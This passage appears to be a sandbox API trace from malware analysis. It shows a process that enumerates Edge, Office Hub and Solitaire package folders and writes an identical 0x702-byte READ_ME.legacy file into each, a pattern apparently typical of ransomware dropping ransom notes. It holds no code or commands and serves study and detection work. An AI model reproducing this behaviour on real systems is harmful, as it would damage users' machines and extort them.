[0153.616] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0153.616] WriteFile (in: hFile=0x884, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.617] CloseHandle (hObject=0x884) returned 1 [0153.617] FindNextFileW (in: hFindFile=0x61ec08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc702c704, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc702c704, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0153.617] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0153.618] WriteFile (in: hFile=0x884, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.619] CloseHandle (hObject=0x884) returned 1 [0153.620] FindNextFileW (in: hFindFile=0x61ec08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc702c704, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc702c704, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0153.620] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf9428887, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe33a43c0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e7c8 [0153.620] FindNextFileW (in: hFindFile=0x61e7c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf9428887, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe33a43c0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0153.620] FindNextFileW (in: hFindFile=0x61e7c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x319a2f42, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33556550, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33556550, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0153.620] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0153.858] WriteFile (in: hFile=0x888, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.859] CloseHandle (hObject=0x888) returned 1 [0153.859] FindNextFileW (in: hFindFile=0x61e7c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31930880, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5fac32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31930880, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.860] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0153.861] WriteFile (in: hFile=0x888, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.863] CloseHandle (hObject=0x888) returned 1 [0153.863] FindNextFileW (in: hFindFile=0x61e7c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31897f18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5fb51b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31897f18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0153.863] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0153.864] WriteFile (in: hFile=0x888, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.865] CloseHandle (hObject=0x888) returned 1 [0153.865] FindNextFileW (in: hFindFile=0x61e7c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5fbb01, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317ff574, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0153.865] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0153.868] WriteFile (in: hFile=0x888, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.869] CloseHandle (hObject=0x888) returned 1 [0153.869] FindNextFileW (in: hFindFile=0x61e7c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe33a43c0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe33a43c0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe33a43c0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0153.869] FindNextFileW (in: hFindFile=0x61e7c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5fc459, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317ff574, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0153.869] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0153.870] WriteFile (in: hFile=0x888, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.871] CloseHandle (hObject=0x888) returned 1 [0153.871] FindNextFileW (in: hFindFile=0x61e7c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31897f18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71233dac, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71233dac, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0153.871] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0153.875] WriteFile (in: hFile=0x888, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.876] CloseHandle (hObject=0x888) returned 1 [0153.876] FindNextFileW (in: hFindFile=0x61e7c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6917fc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf6917fc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf6917fc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0153.876] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0153.878] WriteFile (in: hFile=0x888, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.879] CloseHandle (hObject=0x888) returned 1 [0153.879] FindNextFileW (in: hFindFile=0x61e7c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd708154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317ff574, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0153.879] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0153.880] WriteFile (in: hFile=0x888, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.881] CloseHandle (hObject=0x888) returned 1 [0153.881] FindNextFileW (in: hFindFile=0x61e7c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd708154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317ff574, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0153.881] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xdba259a9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe34af37e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61eb08 [0153.881] FindNextFileW (in: hFindFile=0x61eb08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xdba259a9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe34af37e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0153.881] FindNextFileW (in: hFindFile=0x61eb08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d9dbf7f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3374640a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3374640a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0153.881] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0153.891] WriteFile (in: hFile=0x88c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.892] CloseHandle (hObject=0x88c) returned 1 [0153.892] FindNextFileW (in: hFindFile=0x61eb08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d9698d0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7ba7ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d9698d0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.892] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0153.893] WriteFile (in: hFile=0x88c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.894] CloseHandle (hObject=0x88c) returned 1 [0153.894] FindNextFileW (in: hFindFile=0x61eb08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8d0f0a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7bb01d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d8d0f0a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0153.894] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0153.895] WriteFile (in: hFile=0x88c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.896] CloseHandle (hObject=0x88c) returned 1 [0153.896] FindNextFileW (in: hFindFile=0x61eb08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7bb9cb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d8aac99, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0153.896] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0153.897] WriteFile (in: hFile=0x88c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.898] CloseHandle (hObject=0x88c) returned 1 [0153.898] FindNextFileW (in: hFindFile=0x61eb08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe34af37e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe34af37e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe34af37e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0153.898] FindNextFileW (in: hFindFile=0x61eb08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7bc2fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d8aac99, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0153.898] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0153.899] WriteFile (in: hFile=0x88c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.900] CloseHandle (hObject=0x88c) returned 1 [0153.900] FindNextFileW (in: hFindFile=0x61eb08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8d0f0a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71233dac, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71233dac, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0153.900] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0153.902] WriteFile (in: hFile=0x88c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.902] CloseHandle (hObject=0x88c) returned 1 [0153.903] FindNextFileW (in: hFindFile=0x61eb08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdb10eaaa, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdb10eaaa, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xdb10eaaa, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0153.903] CreateFileW 